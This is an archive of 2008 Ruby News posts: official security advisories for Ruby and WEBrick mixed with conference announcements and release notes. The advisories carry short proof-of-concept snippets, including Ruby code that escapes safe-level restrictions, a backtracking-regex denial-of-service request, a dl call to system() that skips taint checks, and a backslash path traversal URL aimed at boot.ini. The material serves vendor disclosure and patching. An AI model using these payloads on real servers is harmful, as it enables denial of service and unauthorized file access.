Ruby News

Multiple vulnerabilities in Ruby

Fri, 08 Aug 2008 02:59:49 GMT

Multiple vulnerabilities have been discovered in Ruby. It's recommended that you upgrade to the latest versions.

Details

The following vulnerabilities have been discovered.

Several vulnerabilities in safe level

Several vulnerabilities in safe level have been discovered.

untrace_var is permitted at safe level 4.

trace_var(:$VAR) {|val| puts "$VAR = #{val}" }

Thread.new do
 $SAFE = 4
 eval %q{
   proc = untrace_var :$VAR
   proc.first.call("aaa")
 }
end.join

$PROGRAM_NAME may be modified at safe level 4.

Thread.new do
 $SAFE = 4
 eval %q{$PROGRAM_NAME.replace "Hello, World!"}
end.join

$PROGRAM_NAME #=> "Hello, World!"

Insecure methods may be called at safe level 1-3.

class Hello
 def world
   Thread.new do
     $SAFE = 4
     msg = "Hello, World!"
     def msg.size
       self.replace self*10 # replace string
       1 # return wrong size
     end
     msg
   end.value
 end
end

$SAFE = 1 # or 2, or 3
s = Hello.new.world
if s.kind_of?(String)
 puts s if s.size < 20 # print string which size is less than 20
end

Syslog operations are permitted at safe level 4.

require "syslog"

Syslog.open

Thread.new do
 $SAFE = 4
 eval %q{
   Syslog.log(Syslog::LOG_WARNING, "Hello, World!")
   Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG)
   Syslog.info("masked")
   Syslog.close
 }
end.join

These vulnerabilities were reported by Keita Yamaguchi.

DoS vulnerability in WEBrick

WEBrick::HTTP::DefaultFileHandler is faulty of exponential time taking requests due to a backtracking regular expression in WEBrick::HTTPUtils.split_header_value.

Exploitable server:

require 'webrick'
WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start

Attack:

require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
  req = Net::HTTP::Get.new("/passwd")
  req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
  http.request(req)
}
p res

The request likely won't finish in this universe.

This vulnerability was reported by Christian Neukirchen.

Lack of taintness check in dl

dl doesn't check taintness, so it could allow attackers to call dangerous functions.

require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]

This vulnerability was reported by sheepman.

DNS spoofing vulnerability in resolv.rb

resolv.rb allow remote attackers to spoof DNS answers. This risk can be reduced by randomness of DNS transaction IDs and source ports, so resolv.rb is fixed to randomize them.

see also: CVE-2008-1447

This vulnerability was reported by Tanaka Akira.

Vulnerable versions

1.8 series

1.8.5 and all prior versions
1.8.6-p285 and all prior versions
1.8.7-p70 and all prior versions

1.9 series

r18423 and all prior revisions

Solution

1.8 series

Please upgrade to 1.8.6-p286, or 1.8.7-p71.

<URL:ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p286.tar.gz>

(md5: 797ea136fe43e4286c9362ee4516674e,
sha256: 1774de918b156c360843c1b68690f5f57532ee48ff079d4d05c51dace8d523ed,
size: 4590373)

<URL:ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.7-p71.tar.gz>

(md5: 721741d1e0785a0b6b9fb07d55184908,
sha256: 30ec4298e9ac186a2fe1a94362919ba805538252b707f3aadae1938429269c1a,
size: 4805478)

1.9 series

Please check out the latest version using Subversion.

$ svn co http://svn.ruby-lang.org/repos/ruby/trunk ruby

Please note that a package that corrects this weakness may already be available through your package management software.

Credit

Credit to Keita Yamaguchi, Christian Neukirchen, sheepman, and Tanaka Akira for disclosing these problems to Ruby Security Team.

Changes

2008-08-08 12:21 +09:00 fixed the revision number of ruby 1.9.

RubyConf 2008 Proposals Now Being Accepted

Mon, 04 Aug 2008 20:26:29 GMT

RubyConf 2008 will be held in Orlando, Florida, USA, from November 6 to November 8.

Proposals for presentations are now begin accepted. All proposals must be received by August 21.

Arbitrary code execution vulnerabilities

Fri, 20 Jun 2008 12:54:43 GMT

Multiple vulnerabilities in Ruby may lead to a denial of service (DoS) condition or allow execution of arbitrary code.

Impact

With the following vulnerabilities, an attacker can lead to denial of service condition or execute arbitrary code.

Vulnerable versions

1.8 series

1.8.4 and all prior versions
1.8.5-p230 and all prior versions
1.8.6-p229 and all prior versions
1.8.7-p21 and all prior versions

1.9 series

1.9.0-1 and all prior versions

Solution

1.8 series

Please upgrade to 1.8.5-p231, or 1.8.6-p230, or 1.8.7-p22.

<URL:ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.5-p231.tar.gz> (md5sum: e900cf225d55414bffe878f00a85807c)
<URL:ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p230.tar.gz> (md5sum: 5e8247e39be2dc3c1a755579c340857f)
<URL:ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.7-p22.tar.gz> (md5sum: fc3ede83a98f48d8cb6de2145f680ef2)

1.9 series

Please upgrade to 1.9.0-2.

<URL:ftp://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.0-2.tar.gz> (md5sum: 2a848b81ed1d6393b88eec8aa6173b75)

These versions also fix the vulnerability of WEBrick (CVE-2008-1891).

Please note that a package that corrects this weakness may already be available through your package management software.

Credit

Credit to Drew Yao of Apple Product Security for disclosing the problem to Ruby Security Team.

Changes

2008-06-21 00:29 +09:00 removed wrong CVE IDs (CVE-2008-2727, CVE-2008-2728).

RubyNation 2008

Mon, 16 Jun 2008 22:05:00 GMT

RubyNation is an annual Ruby conference serving the Virginia, West Virginia, Maryland, and Washington, DC areas. This year's RubyNation will happen on August 1&2, 2008 in Herndon, VA. Please visit the RubyNation site for more details.

Ruby 1.8.7 has been released

Sat, 31 May 2008 16:55:58 GMT

Akinori MUSHA announced today that Ruby 1.8.7 has been released.

The new version of Ruby includes many bug fixes, lots of feature enhancements backported from 1.9 and some performance improvements since 1.8.6 while maintaining stability and backward compatibility with the previous release to a high degree. See the bundled documentation for details about compatibility issues.

The source code package is available in three formats at the following locations:

Checksums:

MD5 (ruby-1.8.7.tar.bz2) = f17f14c8d55e731b3ce1bc35c42f0a6c
SHA256 (ruby-1.8.7.tar.bz2) = 65f2a862ba5e88bac7a78cff15bcb88d7534e741b51a1ffb79a0136c7041359a
SIZE (ruby-1.8.7.tar.bz2) = 4100024

MD5 (ruby-1.8.7.tar.gz) = de906850f9a012c12ffc6e9f56fb1b66
SHA256 (ruby-1.8.7.tar.gz) = 600dccf13bca3e4179fa6ff554220ce4ba67ffc72bce1ac3bf74c2599c03a0ca
SIZE (ruby-1.8.7.tar.gz) = 4799732

MD5 (ruby-1.8.7.zip) = 14d3eb37b32e4a26966bdd80f361ccd2
SHA256 (ruby-1.8.7.zip) = 805987ad167d8f9cac90e4b9342686e96a7708664111be27a3c6d680ce21d6c1
SIZE (ruby-1.8.7.zip) = 5851408

For a brief list of user visible changes and a full list of all changes, see the bundled files named NEWS and ChangeLog, which are also available at the following locations:

http://svn.ruby-lang.org/repos/ruby/tags/v1_8_7/NEWS
http://svn.ruby-lang.org/repos/ruby/tags/v1_8_7/ChangeLog

Server maintenance

Thu, 22 May 2008 09:37:31 GMT

Services on ruby-lang.org except SVN will be down for server maintenance on Fri May 23 02:00:00 UTC 2008. Sorry for inconvenience.

Tulsa Ruby Workshop

Fri, 11 Apr 2008 16:31:11 GMT

I wanted to get the word out about the upcoming Tulsa Ruby Workshop. This will take place on April 26th, from 10 AM to 4 PM in Tulsa, OK.

The workshop has a great line up of intro Ruby and Rail content. I’m honored to have been asked to give two of the talks that day: an introduction to Ruby talk as well as a Ruby from Java talk. There will also be a beginning Rails talk from Tulsa.rb’s commander and chief, an Engine Yard employee on hand sharing deployment advice, as well as other language specific migration talks.

That’s pretty much a full day of Ruby learning and the best news is that attendance is free. They are even throwing in some food.

If you’re going to be in the area, definitely come join us!

You can find directions, a schedule, and other details about the workshop at:

http://tulsarb.org/wiki/Tulsa_Ruby_Workshop

Hope to see you there.

File access vulnerability of WEBrick

Mon, 03 Mar 2008 15:00:28 GMT

WEBrick, a standard library of Ruby to implement HTTP servers, has file access vulnerability.

Impact

The following programs are vulnerable.

Programs that publish files using WEBrick::HTTPServer.new with the :DocumentRoot option
Programs that publish files using WEBrick::HTTPServlet::FileHandler

Affected systems are:

Systems that accept backslash (\) as a path separator, such as Windows.
Systems that use case insensitive filesystems such as NTFS on Windows, HFS on Mac OS X.

This vulnerability has the following impacts.

Attacker can access private files by sending a url with url encoded backslash (\). This exploit works only on systems that accept backslash as a path separator.

Example:
```
http://[server]:[port]/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/boot.ini
```
Attacker can access files that matches to the patterns specified by the :NondisclosureName option (the default value is [".ht*", "*~"]). This exploit works only on systems that use case insensitive filesystems.

Vulnerable versions

1.8 series

1.8.4 and all prior versions
1.8.5-p114 and all prior versions
1.8.6-p113 and all prior versions

1.9 series

1.9.0-1 and all prior versions

Solution

1.8 series

Please upgrade to 1.8.5-p115 or 1.8.6-p114.

<URL:ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.5-p115.tar.gz> (md5sum: 20ca6cc87eb077296806412feaac0356)
<URL:ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p114.tar.gz> (md5sum: 500a9f11613d6c8ab6dcf12bec1b3ed3)

1.9 series

Please apply the following patch to lib/webrick/httpservlet/filehandler.rb.

<URL:ftp://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.0-1-webrick-vulnerability-fix.diff> (md5sum: b7b58aed40fa1609a67f53cfd3a13257)

Please note that a package that corrects this weakness may already be available through your package management software.

Credit

Credit to Digital Security Research Group (<URL:http://dsec.ru/>) for disclosing the problem to Ruby Security Team.

Scotland on Rails 2008

Wed, 27 Feb 2008 14:48:20 GMT

Scotland on Rails is pleased to announce that Conference2008 is open for registration. There is a limit to the number of registrations we’re able to accept so we’d advise you to get in quickly :-)

You can register at http://scotlandonrails.com/register The conference will take place on April 4th and 5th in Edinburgh (in a castle!), Scotland and will feature speakers from the UK, Europe, US and New Zealand including keynotes from Michael Koziarski and David Black. A list of sessions and speakers is available at http://scotlandonrails.com/talks.

We’re also planning a charity event on Thursday 3rd. This will feature an beginner level intro to Ruby and Rails in the morning, and sessions from several of the speakers from the main conference (including Jim Weirich, Bruce Williams and Giles Bowkett) in the afternoon. All the money raised from that days event will be going to CHAS – The Childrens Hospice Association.

European Ruby Confrence 2008 (EURUKO)

Mon, 25 Feb 2008 15:33:16 GMT

EURUKO is an annual conference about the Ruby programming language with an informal atmosphere and lots of opportunities to listen, to talk, to hack and to have fun. This year it takes place in Prague, Czech Republic, on March 29th to 30th.